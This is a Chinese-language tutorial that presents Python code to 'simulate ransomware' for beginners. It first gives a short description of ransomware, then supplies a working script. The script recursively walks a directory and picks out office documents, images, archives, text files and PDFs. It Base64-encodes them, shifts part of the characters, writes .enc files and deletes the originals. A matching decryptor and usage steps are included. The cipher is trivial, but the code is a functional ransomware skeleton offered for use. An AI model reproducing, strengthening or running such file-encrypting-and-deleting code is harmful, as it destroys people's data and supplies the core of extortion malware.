Python模拟勒索病毒
一、关于勒索病毒
1、将电脑上的一些重要文件,比如Word,RAR,图片,文本,PDF等一些重要数据进行加密,将文件以二进制的方式进行加密处理,导致无法成功打开加密过后的文件,要打开必须要解密,要解密必须要解密程序。
2、如何传播:要么就是利用系统或应用程序的漏洞,要么就是人为的疏忽,导致下载了后门或木马程序。
3、如何处理:交钱,想办法破解,数据备份。
二、Python如何模拟
1、如何使用Python对文件进行加密?
所有的文件都可以使用Base64进行编码,而Base64是标准的字符串,针对这些字符串进行加密,再保存,此时,将无法打开此文件。如果解密,将加密后的文件,按字符串进行解密,并重新保存为二进制文件。
python
import base64
import os
# 针对某个文件进行Base64编码,并加密
def encrypt(filepath):
# 读取文件
with open(filepath,mode='rb') as file:
data = file.read()
# 编码文件
content = base64.b64encode(data).decode()
# print(content)
# 加密算法:大小写字母右移5位
dest = ''
for i in content:
dest += chr(ord(i) + 5)
# print(dest)
# 将加密后的内容写入文件,并且重命名
with open(filepath + '.enc',mode='w') as file:
file.write(dest)
# 删除源文件
os.remove(filepath)
# 解密
def decrypt(filepath):
# 读取文件
with open(filepath,mode='r') as file:
content = file.read()
# 执行解密算法逻辑
dest = ''
for i in content:
dest += chr(ord(i) - 5)
# print(dest)
# 还原原来的文件名
newfile = filepath.replace('.enc','')
# 写入文件
with open(newfile,mode='wb') as f:
f.write(base64.b64decode(dest))
# 删除加密文件
os.remove(filepath)
if __name__ == '__main__':
# encrypt('img.png')
decrypt('img.png.enc')

完善后的完整代码(逐行注释)
python
# 导入base64模块,用于文件内容的Base64编解码
import base64
# 导入os模块,用于目录遍历、文件路径处理和文件删除
import os
# 定义需要加密的文件后缀(统一转小写,避免大小写匹配问题)
# 包含需求中的WORD(兼容doc/docx)、XLS/XLSX、PPT/PPTX、RAR、JPG、PNG、TXT、PDF
TARGET_EXTENSIONS = {'.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.rar', '.jpg', '.png', '.txt', '.pdf'}
# 加密核心函数:仅加密Base64字符串的middle[200:500]部分
# 参数filepath:待加密文件的完整路径
def encrypt(filepath):
# 异常处理:捕获文件读取/写入过程中的错误(如文件不存在、权限不足)
try:
# 以二进制只读模式打开文件(兼容所有文件类型,如图片/压缩包)
with open(filepath, mode='rb') as file:
# 读取文件全部内容到内存
data = file.read()
# 将二进制文件内容编码为Base64字符串,并解码为普通字符串(便于切片和字符操作)
content = base64.b64encode(data).decode('utf-8')
# 分割Base64字符串为三部分,处理边界情况(如字符串长度不足200/500)
# first部分:从开头到200位(若长度不足200,则取全部)
first_part = content[:200]
# middle部分:200位到500位(若长度不足500,取剩余部分;若不足200,则为空)
middle_part = content[200:500]
# last部分:从500位到末尾(若长度不足500,则为空)
last_part = content[500:]
# 加密算法:仅对middle部分的字符执行"右移5位"(ASCII码+5)
encrypted_middle = ''
# 遍历middle部分的每个字符
for char in middle_part:
# 将字符转换为ASCII码,加5后再转回字符,拼接到加密结果
encrypted_middle += chr(ord(char) + 5)
# 拼接最终加密后的字符串:原first + 加密middle + 原last
final_encrypted = first_part + encrypted_middle + last_part
# 以文本写入模式创建加密文件(后缀.enc)
with open(filepath + '.enc', mode='w', encoding='utf-8') as file:
# 将加密后的字符串写入文件
file.write(final_encrypted)
# 删除原始文件(可选:若需保留源文件可注释此行)
os.remove(filepath)
# 打印加密成功提示
print(f"文件加密成功:{filepath} -> {filepath}.enc")
# 捕获文件操作相关异常(如文件不存在、权限错误)
except FileNotFoundError:
print(f"错误:文件不存在 -> {filepath}")
# 捕获权限不足异常
except PermissionError:
print(f"错误:无权限操作文件 -> {filepath}")
# 捕获其他未知异常
except Exception as e:
print(f"加密失败 {filepath}:{str(e)}")
# 解密核心函数:还原加密的middle[200:500]部分
# 参数filepath:加密文件的完整路径(后缀.enc)
def decrypt(filepath):
# 异常处理:确保解密过程稳定
try:
# 校验文件是否为加密文件(后缀是否为.enc)
if not filepath.endswith('.enc'):
print(f"错误:{filepath} 不是加密文件(后缀非.enc)")
return
# 以文本只读模式打开加密文件
with open(filepath, mode='r', encoding='utf-8') as file:
# 读取加密后的全部内容
encrypted_content = file.read()
# 分割加密字符串为三部分(与加密时的切片规则一致)
first_part = encrypted_content[:200]
encrypted_middle = encrypted_content[200:500]
last_part = encrypted_content[500:]
# 解密算法:仅对加密的middle部分执行"左移5位"(ASCII码-5)
decrypted_middle = ''
# 遍历加密后的middle字符
for char in encrypted_middle:
# ASCII码减5,还原原始字符
decrypted_middle += chr(ord(char) - 5)
# 拼接解密后的完整Base64字符串:原first + 解密middle + 原last
final_decrypted = first_part + decrypted_middle + last_part
# 还原原始文件名(去掉.enc后缀)
original_filepath = filepath.replace('.enc', '')
# 以二进制写入模式创建原始文件
with open(original_filepath, mode='wb') as file:
# 将解密后的Base64字符串解码为二进制,写入文件(还原原始内容)
file.write(base64.b64decode(final_decrypted))
# 删除加密文件(可选:若需保留加密文件可注释此行)
os.remove(filepath)
# 打印解密成功提示
print(f"文件解密成功:{filepath} -> {original_filepath}")
except FileNotFoundError:
print(f"错误:加密文件不存在 -> {filepath}")
except PermissionError:
print(f"错误:无权限操作文件 -> {filepath}")
except base64.binascii.Error:
print(f"错误:{filepath} 不是有效的Base64加密文件(内容已损坏)")
except Exception as e:
print(f"解密失败 {filepath}:{str(e)}")
# 目录遍历函数:遍历指定目录下的所有文件,筛选目标类型并执行加密/解密
# 参数root_dir:根目录路径;operation:操作类型('encrypt' 加密 / 'decrypt' 解密)
def traverse_directory(root_dir, operation):
# 异常处理:校验目录是否存在
if not os.path.isdir(root_dir):
print(f"错误:目录不存在 -> {root_dir}")
return
# 遍历目录(递归遍历子目录):root=当前目录, dirs=子目录列表, files=文件列表
for root, dirs, files in os.walk(root_dir):
# 遍历当前目录下的所有文件
for file_name in files:
# 拼接文件完整路径
file_path = os.path.join(root, file_name)
# 获取文件后缀(转小写,避免大小写匹配问题,如.PNG/.png)
file_ext = os.path.splitext(file_name)[1].lower()
# 加密操作:筛选目标后缀的文件
if operation == 'encrypt' and file_ext in TARGET_EXTENSIONS:
encrypt(file_path)
# 解密操作:仅处理.enc后缀的文件(无需筛选原后缀)
elif operation == 'decrypt' and file_name.endswith('.enc'):
decrypt(file_path)
# 主程序入口
if __name__ == '__main__':
# ************************** 配置区 **************************
# 待处理的根目录(修改为你自己的目录路径,如Windows:r'C:\test',Linux/Mac:'/home/test')
TARGET_DIR = r'./test_files' # 相对路径:当前目录下的test_files文件夹
# 操作类型:'encrypt'(加密) / 'decrypt'(解密)
OPERATION_TYPE = 'encrypt' # 先加密,再改为'decrypt'解密
# ***********************************************************
# 执行目录遍历和文件处理
traverse_directory(TARGET_DIR, OPERATION_TYPE)
关键逻辑说明
-
文件筛选 :通过
TARGET_EXTENSIONS集合定义需要加密的文件类型,统一转小写避免大小写匹配问题(如.Doc/.DOCX都能匹配)。 -
部分加密规则
:
first_part = content[:200]:Base64 字符串前 200 位,不加密;middle_part = content[200:500]:200-500 位,执行 ASCII+5 加密;last_part = content[500:]:500 位之后的部分,不加密;- 解密时仅对 200-500 位执行 ASCII-5 还原,其余部分保持原样。
-
递归遍历 :通过
os.walk()递归遍历指定目录下的所有子目录和文件,自动筛选目标文件处理。 -
异常处理:添加了文件不存在、权限不足、Base64 解码错误等异常捕获,避免程序崩溃。
使用说明
- 先创建测试目录(如
./test_files),放入需要加密的文件(如test.docx、demo.png等); - 修改
TARGET_DIR为你的目标目录路径(Windows 路径需加r前缀,如r'C:\my_files'); - 先设置
OPERATION_TYPE = 'encrypt'执行加密,加密后的文件后缀为.enc; - 再设置
OPERATION_TYPE = 'decrypt'执行解密,会还原为原始文件并删除.enc文件。
总结
- 核心逻辑:仅对 Base64 字符串的 200-500 位执行 ASCII±5 加密 / 解密,其余部分保持原样;
- 功能扩展:实现了目录递归遍历、目标文件筛选、完善的异常处理;
- 易用性:通过配置区修改目录和操作类型,无需改动核心代码,适合新手使用。